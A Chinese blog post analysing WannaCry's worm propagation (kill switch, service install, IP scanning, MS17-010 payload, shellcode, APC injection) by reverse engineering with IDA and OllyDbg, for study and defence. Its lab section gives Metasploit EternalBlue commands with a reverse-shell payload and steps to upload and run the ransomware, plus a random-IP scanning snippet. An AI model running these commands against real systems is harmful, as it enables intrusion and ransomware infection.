查看原文
其他

[系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制分析及IDA和OD逆向

Eastmount 娜璋AI安全之家 2022-11-30

前文分享了MSF利用MS17-010漏洞进行反弹Shell,再上传勒索病毒,复现了WannaCry勒索病毒。这篇文章作者将继续分析WannaCry勒索病毒,主要通过IDA和OD逆向分析蠕虫传播部分,详细讲解蠕虫是如何感染传播的。同时,由于作者技术真的菜,只能叙述自己摸索的过程,如果存在错误或不足之处,还望告知。希望这篇基础性文章对您有所帮助~

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

文章目录:

  • 一.WannaCry背景

  • 二.WannaCry实验复现

  • 三.WannaCry基础分析

  • 四.WannaCry传播机制详解

    1.WannaCry蠕虫传播步骤

    2.连接域名

    3.安装和启动mssecsvc2.0服务

    4.局域网和外网传播

    5.利用SMB漏洞

    6.Payload分析

    7.ShellCode提取

    8.APC注入

    9.释放勒索程序

  • 五.总结


从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

推荐前文:网络安全自学篇系列-100篇

https://blog.csdn.net/eastmount/category_9183790.htm

作者的github资源:

  • WannaCry:https://github.com/eastmountyxz/

    WannaCry-Experiment

  • 逆向分析:https://github.com/eastmountyxz/

    SystemSecurity-ReverseAnalysis

  • 网络安全:https://github.com/eastmountyxz/

    NetworkSecuritySelf-study


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)


一.WannaCry背景

WannaCry应该称为蠕虫,而不是病毒,但大家习惯称其为WannaCry勒索病毒,这里提醒下。

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。

WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染,并作为攻击机再次扫描互联网和局域网的其他机器,行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可攻破。同时@WanaDecryptor@.exe显示勒索界面。其核心流程如下图所示:

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播

  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款账号和勒索信息


二.WannaCry实验复现

实验环境:

  • 攻击机:

    Kali-linux-2019.2 IP:192.168.44.138

  • 受害主机:

    Win7 64位 IP:192.168.44.147


实验工具:

  • metasploit

  • MS17-010

  • Wcry.exe


实验步骤:

  • 配置Kali、Windows7实验环境

  • Kali检测受害主机445端口(SMB协议)是否开启

  • 运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell

  • 上传勒索病毒wcry.exe并运行

  • 实现勒索和文件加密


切记、切记、切记:实验复现过程中必须在虚拟机中完成,运行之前关闭虚拟机Win7文件共享,真机上一旦被感染你就真的只能想哭了(wannacry)。同时,该实验比上一篇文章精简很多,更推荐该方法。

核心步骤:

(1) 利用永恒之蓝漏洞并设置参数

  • use exploit/windows/

    smb/ms17_010_eternalblue

    利用永恒之蓝漏洞

  • set payload windows/x64/

    meterpreter/reverse_tcp

    设置payload

  • set LHOST 192.168.44.138

    设置本机IP地址

  • set RHOSTS 192.168.44.147

    设置受害主机IP

  • set RPORT 445

    设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等

  • exploit

    利用漏洞


(2) 获取Win7系统管理员权限上传勒索病毒

  • getuid

  • pwd、ls、shell

  • upload /root/wcry.exe c:\

  • wcry.exe


(3) 成功完成勒索,系统文件被加密
运行病毒程序后的界面如下图所示,已经成功被勒索。再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。

加密系统中的文件,被加密的文件后缀名统一修改为“.WNCRY”。

  • b.wnry: 中招敲诈者后桌面壁纸

  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等

  • f.wnry: 可免支付解密的文件列表

  • r.wnry: 提示文件,包含中招提示信息

  • s.wnry: zip文件,包含Tor客户端

  • t.wnry: 测试文件

  • u.wnry: 解密程序



三.WannaCry基础分析

接下来开始对WannaCry样本进行分析,恶意样本一定要在虚拟环境下做好保护措施再进行分析。通常拿到一个软件先试着运行软件,如果有帮助文档查阅帮助文档,熟悉软件的基本用法,接着尝试输入错误的注册码,观察错误提示。如果没有输入注册码的地方,要考虑是否是读取注册表或Key文件,这些可以用其他工具来辅助分析。

第一步,调用PEiD检测程序是否加壳。
拿到一个样本,先调用查壳软件检查程序是否加壳(如PeiD、FI),有壳的需要脱壳之后再调用OllyDbg分析调试,无壳的直接调用工具调试。具体过程如下,该病毒使用VC6无壳编写的。


第二步,通过在线沙箱网站监测该病毒详情。

病毒名称:Trojan-Ransom.Win32.Wanna.m

所属家族:木马/勒索/蠕虫

大小: 3514368 bytes

修改时间: 2017年5月13日, 2:21:23

MD5: DB349B97C37D22F5EA1D1841E3C89EB4

SHA1: E889544AFF85FFAF8B0D0DA705105DEE7C97FE26

CRC32: 9FBB1227


方法一:visualtool上传文件在线监测

https://www.virustotal.com/gui/home


方法二:微步在线沙箱搜索MD5

https://s.threatbook.cn/

多引擎监测信息如下:

行为签名信息如下:

静态信息如下:


第三步,我们将“.exe”修改为“.zip”可以看到更为详细的信息。
直接用资源工具看一下,发现是PK开头的,多半是个压缩文件了,导出来试试。样本的解压密码是WNcry@2ol7,通过资源工具也可以查看到。解压后的文件结构如下:

msg文件夹下就是所有的语言包。

其他文件内容如下,下一篇文章会详细介绍勒索原理。

  • b.wnry: 中招敲诈者后桌面壁纸

  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等

  • f.wnry: 可免支付解密的文件列表

  • r.wnry: 提示文件,包含中招提示信息

  • s.wnry: zip文件,包含Tor客户端

  • t.wnry: 测试文件

  • u.wnry: 解密程序


第四步,推荐安全厂商及大佬分析报告。

为了更好帮助读者,作者将参考文献提前。下面给出下各大安全厂商及安全大佬对WannaCry蠕虫分析的文章,强烈推荐大家阅读,作者也吸取了它们的精华,在此感谢。

  • 安全厂商样本分析:
    [1] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告
    [2] [分享] 勒索病毒WannaCry深度技术分析——详解传播、感染和危害细节 - 火绒安全
    [3] WannaCry勒索病毒详细解读 - 腾讯电脑管家
    [4] NSA Eternalblue SMB 漏洞分析 - 360核心安全
    [5] 针对WannaRen勒索软件的梳理与分析 - 安天
    [6] 【权威报告】WanaCrypt0r勒索蠕虫完全分析报告 - 360追日
    [7] WannaCry勒索病毒分析报告 - 瑞星

  • 安全大佬样本分析:
    [1] 对WannaCry的深度分析 - 鬼手56(勒索部分详解)
    [2] [原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博
    [3] [原创]通过Wannacry分析内核shellcode注入dll技术 - dragonwang
    [4] [病毒分析]WannaCry病毒分析(永恒之蓝) - 小彩虹
    [5] WannaCry勒索病毒逆向和内网传播数据分析 - sec360zz
    [6] 首发 | Wannacry勒索软件母体主程序逆向分析(含临时解决方案自动化工具)- expsky
    [7] [原创]WannaCry深度详细分析报告(很细很深)- anhkgg
    [8] https://github.com/rapid7/metasploit-framework


四.WannaCry传播机制详解

WannaCry蠕虫主要分为两个部分:蠕虫部分用于病毒传播,并释放出勒索病毒;勒索部分用于加密用户文件索要赎金。大家可能看到的很多样本都是没有传播部分代码或域名开关的。接下来是作者一点点的摸索,希望对您有所帮助,也欢迎批评和指正。

1.WannaCry蠕虫传播步骤

WannaCry运行的整体流程推荐安天公司的框架图,如下图所示:

  • 主程序文件利用漏洞传播自身,运行WannaCry勒索程序

  • WannaCry勒索程序释放tasksche.exe,对磁盘文件进行加密勒索

  • @WanaDecryptor@.exe显示勒索信息,解密示例文件


其中,图中上半部分为WannaCry蠕虫的传播部分,该蠕虫通过网络进行传播,有自我复制和传播迅速等特点。传播步骤如下:

  • 连接远程域名

  • 安装并启动服务

  • 建立局域网或公网IP表,为每个IP依次创建线程

  • 尝试连接445端口,测试是否存在SMB漏洞

  • 如果存在漏洞,则发送包含动态库的Payload进行攻击

  • 执行shellcode并使用APC注入将生成的dll注入到进程lsass.exe

  • dll调用导出函数PlayGame,释放资源文件并保存为mssecsvc.exe执行,释放勒索程序tasksche.exe

  • 被攻击计算机继续使用MS17-010漏洞进行传播


2.连接域名

接着在虚拟机中用IDA Pro打开勒索病毒wcry.exe,进行静态分析。

主程序运行后会先连接域名(KillSwitch):

hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

  • 如果该域名连接成功,则直接退出且不触发任何恶意行为

  • 如果该域名无法访问,则触发传播勒索行为


目前该域名已被英国的安全公司接管,代码如下图所示:


3.安装和启动mssecsvc2.0服务

如果该域名无法访问,则安装mssecsvc2.0服务,服务的二进制文件路径为当前进程文件路径,参数为“-m security”,并且伪装成微软安全中心服务。

接着启动mssecsvc2.0服务,网络传播行为需要以服务启动才会触发。


4.局域网和外网传播

蠕虫服务启动后,如果目标主机445端口开启,则会利用MS17-010漏洞传播,传播分为局域网传播和外网传播。

上图为火绒注释过版本,下图为作者利用IDA Pro分析原始wcry.exe的代码。

(1) 局域网传播:蠕虫根据用户内网IP,生成覆盖整个局域网网段表,然后循环依次尝试攻击。

定位函数sub_407540如下。

样本会首先判断是否处于内网环境,如果处于内网中则尝试对内网主机进行感染,进行判断内网 I P 段分别是:

  • 10.0.0.0 ~ 10.255.255.255

  • 172.16.0.0 ~ 172.31.255.255

  • 192.168.0.0 ~ 192.168.255.255


(2) 公网传播:随机生成IP地址,尝试发送攻击代码。

随机生成公网IP,然后尝试连接445端口,判断是否可以利用SMB漏洞(MS17-010)。

下面给出一段安天的模拟IP代码,这段代码可供大家扫描IP使用。核心思想是通过随机数生成算法,生成4个随机数并拼接,再开线程进行漏洞利用。

from win32api import *
import random
import time
random.seed(GetCurrentThreadId() + time.time() + GetTickCount())
firstTick = GetTickCount()

while True:
ip_1, ip_2, ip_3, ip_4 = 128, None, None, None
flag1, flag2 = None, None
while ip_1 == 128 or ip_1 >= 224:
ip_1 = random.randint(0, 255)
ip_2 = random.randint(0, 255)
ip_3 = random.randint(0, 255)
ip_4 = random.randint(0, 255)
time.sleep(1)

while ip_4 <= 255:
print str(ip_1) + "." + str(ip_2) + "." + str(ip_3) + "." + str(ip_4)
ip_4 += 1

5.利用SMB漏洞

主机IP地址探测成功后,会利用SMB漏洞(MS17-010)发起攻击。

网络传播过程会建立Socket通信,并进行网络连接和传播。


6.Payload分析

样本在利用漏洞MS17-010获取目标主机权限后,并不会直接发送蠕虫自身到目标,而是发送一段经过简单异或加密后的Payload到目标机器中执行。

Payload由shellcode和包含样本自身的dll组成,Payload分为64位与32位。

Payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令。Shellcode,简单翻译“shell代码”,是Payload的一种,由于其建立正向/反向shell而得名。一个攻击代码发送的字节序列往往同时包含payload和shellcode代码。


整个字节流一般包含两个部分:

(1) 一个包含部分代码的字节序列,被送入目标计算机执行,辅助攻击机获得控制权,比如打开目标计算机上的端口或者建立一个通信信道。

(2) 一个用于实现在目标主机上运行某个应用程序如cmd或者计算器(常用于poc–概念验证)等。

那么,如何定位shellcode的起始位置呢?

  • 64位的Payload由长度为0x1800字节的shellcode与长度为0x50d800字节的dll组成,64位的shellcode部分截图如下:


  • 32位的Payload由长度为0x1305字节的shellcode与长度为0x506000字节的dll组成,32位的shellcode部分截图如下:


Payload版本选择代码如下图所示:

(1) 首先,需要读取Payload内容,其中64位大小为0xc8a4,32位大小为0x4060。

(2) 调用sub_4072A0函数建立通信连接。

(3) 根据目标机器系统的不同,读取不同版本的代码部分,再获取样本自身进行拼接得到完整的dll。dll同样分为64位与32位版本,由代码与样本自身两部分组成。

  • 64位的dll文件(代码部分长度0xc8a4字节):

  • 32位的dll文件(代码部分长度0x4060):


7.ShellCode提取

当IP地址和445端口开启确定后,需要利用SMB漏洞发送Payload。此时,Payload已经建立了通信连接,接下来需要提取ShellCode,这也是蠕虫传播干扰的核心部分,但也是最难的部分。作者至今也分析得不透彻,希望得到您的帮助,下面简单叙述当前的理解。

看雪两位大佬说过:Wannacry的shellcode分三层,第一层的功能开一个后门,执行攻击者的后续命令;第二层、第三层一起完成注入dll的任务在执行其他操作。

  • [原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博

  • [原创]通过Wannacry分析内核shellcode注入dll技术 - dragonwang


它们的调用位置如下图所示:

那么,怎么分析这些shellcode,如何在OD中提取机器码和连续的shellcode呢?如何定位Shellcode起始位置呢?感觉自己真的菜,求教~
推荐作者github详细的WannaCry资源: 

https://github.com/eastmountyxz/WannaCry-Experiment

第一种方法是通过IDA Pro定位shellcode位置,按C进行反汇编,如下图所示。

第二种方法是在OD中定位,输入结果却是建立通信的过程。Payload通常由分析函数、建立通信(Send\Recv)、返回地址、shellcode组成,当漏洞触发时,该部分就是shellcode的起始位置,我们需要找到这个点。

我们想要的shellcode类似如下图所示,但作者能力有限,后面继续深入吧!

同时,作者提供另一个思路,前面讲解了永恒之蓝利用,这里我们获取它的Payload利用代码,发现里面的shellcode,如下图所示:

然后复制这段shellcode代码至OD中,二进制粘贴,可以看到对应的汇编代码。

如下图所示:


8.APC注入

漏洞利用成功后,执行shellcode并使用APC注入将生成的dll注入到进程lsass.exe。

核心函数sub_406F50如下图所示:


9.释放勒索程序

dll具有一个导出函数PlayGame,它会将自身的资源文件(主程序)释放到被攻击的计算机,保存为C:\WINDOWS\mssecsvc.exe并执行。

最后释放资源tasksche.exe(勒索加密功能)到C:\WINDOWS目录下,并将其启动。

使用火绒剑检测结果如下图所示,看到释放的lsass.exe、mssecsvc.exe和tasksche.exe程序。

被攻击的计算机包含蠕虫的完整功能,除了会被勒索,还会继续使用MS17-010漏洞进行传播,这种传播呈几何级向外扩张,也是该蠕虫短时间内大规模爆发的主要原因。


五.总结

写到这里,这篇文章就介绍完毕。主要讲解了WannaCry蠕虫的传播机制,后面作者会继续分享勒索部分的机理,希望您喜欢,继续加油~

  • 一.WannaCry背景

  • 二.WannaCry实验复现

  • 三.WannaCry基础分析

  • 四.WannaCry传播机制详解
    1.WannaCry蠕虫传播步骤
    2.连接域名
    3.安装和启动mssecsvc2.0服务
    4.局域网和外网传播
    5.利用SMB漏洞
    6.Payload分析
    7.ShellCode提取
    8.APC注入
    9.释放勒索程序


这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅们的教导,深知自己很菜,得努力前行。

前文回顾(下面的超链接可以点击喔):


2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。2021年继续加油!

晚安女神,爱你和小宝❤

(By:Eastmount 2021-03-26 周五夜于武汉)


参考资料:

  • [1] 勒索病毒“WannaCry”之复现过程(永恒之蓝)- weixin_40950781

  • [2] Windows再曝“WannaCry”级漏洞 CVE-2019-0708,专治 XP、Win7 - FB客户

  • [3] 对WannaCry的深度分析 - 鬼手56

  • [4] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告

  • [5] WannaCry蠕虫详细分析 - FreeBuf腾讯

  • [6] [病毒分析]WannaCry病毒分析(永恒之蓝) - 小彩虹

  • [7] 威胁预警 | 蠕虫级漏洞BlueKeep(CVE-2019-0708) EXP被公布 - 斗象智能安全平台

  • [8] [反病毒]病毒分析实战篇1–远控病毒分析 - i春秋老师

  • [9] wannacry,petaya,meze等病毒样本 - CSDN下载

  • [10] 针对WannaRen勒索软件的梳理与分析 - 安天

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存